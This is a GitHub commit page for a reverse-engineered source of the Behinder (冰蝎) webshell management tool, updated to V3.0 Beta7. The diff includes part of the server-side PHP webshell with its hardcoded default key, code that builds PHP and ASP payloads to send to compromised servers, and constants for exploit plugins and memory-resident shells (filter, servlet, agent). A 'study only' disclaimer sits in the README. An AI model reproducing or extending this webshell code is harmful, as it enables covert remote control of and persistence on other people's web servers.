Skip to content

Commit ca51c4e

Browse files
author
zhanghaishan
committed
更新至V3.0 Beta7，并且修复原版“虚拟终端”无法输入命令的问题
1 parent 73b2179 commit ca51c4e

File tree

518 files changed

+5359
-914
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

518 files changed

+5359
-914
lines changed

‎README.md

+6
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
11
# 冰蝎客户端源码
22
首先致敬作者rebeyond：https://github.com/rebeyond/Behinder/releases
33

4+
# 更新内容
5+
```
6+
2021-04-11 逆向V3.0 Beta7 并且修复原版虚拟终端无法输入命令问题
7+
```
8+
49
# 郑重声明
510
拿刀的不一定是屠夫，也有可能是伙夫，当然也有可能是大夫，本代码仅供学习，请保证必须一定勿用于非法用途！！！
611

@@ -11,6 +16,7 @@
1116

1217
3.server目录下是服务端小马程序。
1318

19+
1420
# 分支
1521
本git的分支对标原版程序版本号。
1622

‎pom.xml

+4
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,10 @@
136136
<include>**/*.gif</include>
137137
<include>**/*.asp</include>
138138
<include>**/*.php</include>
139+
<include>**/*.jar</include>
140+
<include>**/*.32</include>
141+
<include>**/*.64</include>
142+
<include>**/*.bak</include>
139143
</includes>
140144
<filtering>true</filtering>
141145
</resource>

‎server/shell.php

+1
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
session_start();
44
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
55
$_SESSION['k']=$key;
6+
session_write_close();
67
$post=file_get_contents("php://input");
78
if(!extension_loaded('openssl'))
89
{

‎src/main/java/net/rebeyond/behinder/core/Constants.java

+16-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
public class Constants {
44
public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
5-
public static String VERSION = "v3.0 Beta 6 ";
5+
public static String VERSION = "v3.0 Beta 7 ";
66
public static int MENU_CUT = 1;
77
public static int MENU_COPY = 16;
88
public static int MENU_PASTE = 256;
@@ -27,5 +27,20 @@ public class Constants {
2727
public static int PLUGIN_TYPE_EXPLOIT = 1;
2828
public static int PLUGIN_TYPE_TOOL = 2;
2929
public static int PLUGIN_TYPE_OTHER = 3;
30+
public static int OS_TYPE_WINDOWS = 0;
31+
public static int OS_TYPE_LINUX = 1;
32+
public static int OS_TYPE_UNIX = 2;
33+
public static int OS_TYPE_MAC = 3;
34+
public static int HISTORY_DIRECTION_UP = 0;
35+
public static int HISTORY_DIRECTION_DOWN = 1;
36+
public static int SHELL_STATUS_ALIVE = 0;
37+
public static int SHELL_STATUS_DEAD = 1;
38+
public static int LIST_STAGE_STARTED = 0;
39+
public static int LIST_STAGE_DONE = 1;
40+
public static int LIST_STAGE_FAIL = 2;
41+
public static int MEMSHELL_TYPE_FILE = 0;
42+
public static int MEMSHELL_TYPE_AGENT = 1;
43+
public static int MEMSHELL_TYPE_FILTER = 2;
44+
public static int MEMSHELL_TYPE_SERVLET = 3;
3045
public static String[] cookieProperty = new String[]{"expires", "max-age", "domain", "path", "secure", "httponly", "samesite"};
3146
}

‎src/main/java/net/rebeyond/behinder/core/Params.java

+33-6
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,12 @@
33
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
44
import java.io.ByteArrayInputStream;
55
import java.io.ByteArrayOutputStream;
6+
import java.util.ArrayList;
67
import java.util.Iterator;
8+
import java.util.List;
79
import java.util.Map;
10+
import java.util.regex.Matcher;
11+
import java.util.regex.Pattern;
812
import net.rebeyond.behinder.utils.ReplacingInputStream;
913
import net.rebeyond.behinder.utils.Utils;
1014
import org.objectweb.asm.ClassAdapter;
@@ -62,7 +66,7 @@ public static byte[] getParamedAssembly(String clsName, Map params) throws Excep
6266
String paramValue;
6367
for(Iterator var6 = params.keySet().iterator(); var6.hasNext(); paramsStr = paramsStr + paramName + ":" + paramValue + ",") {
6468
paramName = (String)var6.next();
65-
paramValue = Base64.encode(((String)params.get(paramName)).toString().getBytes());
69+
paramValue = Base64.encode(((String)params.get(paramName)).toString().getBytes("UTF-8"));
6670
}
6771

6872
paramsStr = paramsStr.substring(0, paramsStr.length() - 1);
@@ -117,19 +121,42 @@ public static byte[] getParamedPhp(String clsName, Map params) throws Exception
117121
bis.close();
118122
code.append(bos.toString());
119123
String paraList = "";
124+
Iterator var9 = getPhpParams(code.toString()).iterator();
120125

121-
String paraName;
122-
for(Iterator var9 = params.keySet().iterator(); var9.hasNext(); paraList = paraList + ",$" + paraName) {
123-
paraName = (String)var9.next();
124-
String paraValue = (String)params.get(paraName);
125-
code.append(String.format("$%s=\"%s\";", paraName, paraValue));
126+
while(var9.hasNext()) {
127+
String paraName = (String)var9.next();
128+
if (params.keySet().contains(paraName)) {
129+
String paraValue = (String)params.get(paraName);
130+
code.append(String.format("$%s=\"%s\";", paraName, paraValue));
131+
paraList = paraList + ",$" + paraName;
132+
} else {
133+
code.append(String.format("$%s=\"%s\";", paraName, ""));
134+
paraList = paraList + ",$" + paraName;
135+
}
126136
}
127137

128138
paraList = paraList.replaceFirst(",", "");
129139
code.append("\r\nmain(" + paraList + ");");
130140
return code.toString().getBytes();
131141
}
132142

143+
public static List getPhpParams(String phpPayload) {
144+
List paramList = new ArrayList();
145+
Pattern mainPattern = Pattern.compile("main\\s*\\([^\\)]*\\)");
146+
Matcher mainMatch = mainPattern.matcher(phpPayload);
147+
if (mainMatch.find()) {
148+
String mainStr = mainMatch.group(0);
149+
Pattern paramPattern = Pattern.compile("\\$([a-zA-Z]*)");
150+
Matcher paramMatch = paramPattern.matcher(mainStr);
151+
152+
while(paramMatch.find()) {
153+
paramList.add(paramMatch.group(1));
154+
}
155+
}
156+
157+
return paramList;
158+
}
159+
133160
public static byte[] getParamedAsp(String clsName, Map params) throws Exception {
134161
String basePath = "net/rebeyond/behinder/payload/asp/";
135162
String payloadPath = basePath + clsName + ".asp";

‎src/main/java/net/rebeyond/behinder/core/PluginTools.java

-3
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,6 @@ public void sendTask(String pluginName, String paramStr) throws Exception {
5353
this.statusLabel.setText(msg);
5454
});
5555
} catch (Exception var7) {
56-
var7.printStackTrace();
5756
Platform.runLater(() -> {
5857
this.statusLabel.setText("插件运行失败");
5958
});
@@ -80,7 +79,6 @@ public void sendTaskBackground(String pluginName, Map params, PluginSubmitCallBa
8079
String msg = resultObj.getString("msg");
8180
callBack.onPluginSubmit(status, msg);
8281
} catch (Exception var8) {
83-
var8.printStackTrace();
8482
callBack.onPluginSubmit("fail", var8.getMessage());
8583
}
8684

@@ -125,7 +123,6 @@ public void getTaskResult(String pluginName) {
125123

126124
});
127125
} catch (Exception var8) {
128-
var8.printStackTrace();
129126
Platform.runLater(() -> {
130127
this.statusLabel.setText("结果刷新失败:" + var8.getMessage());
131128
});

0 commit comments

Comments
 (0)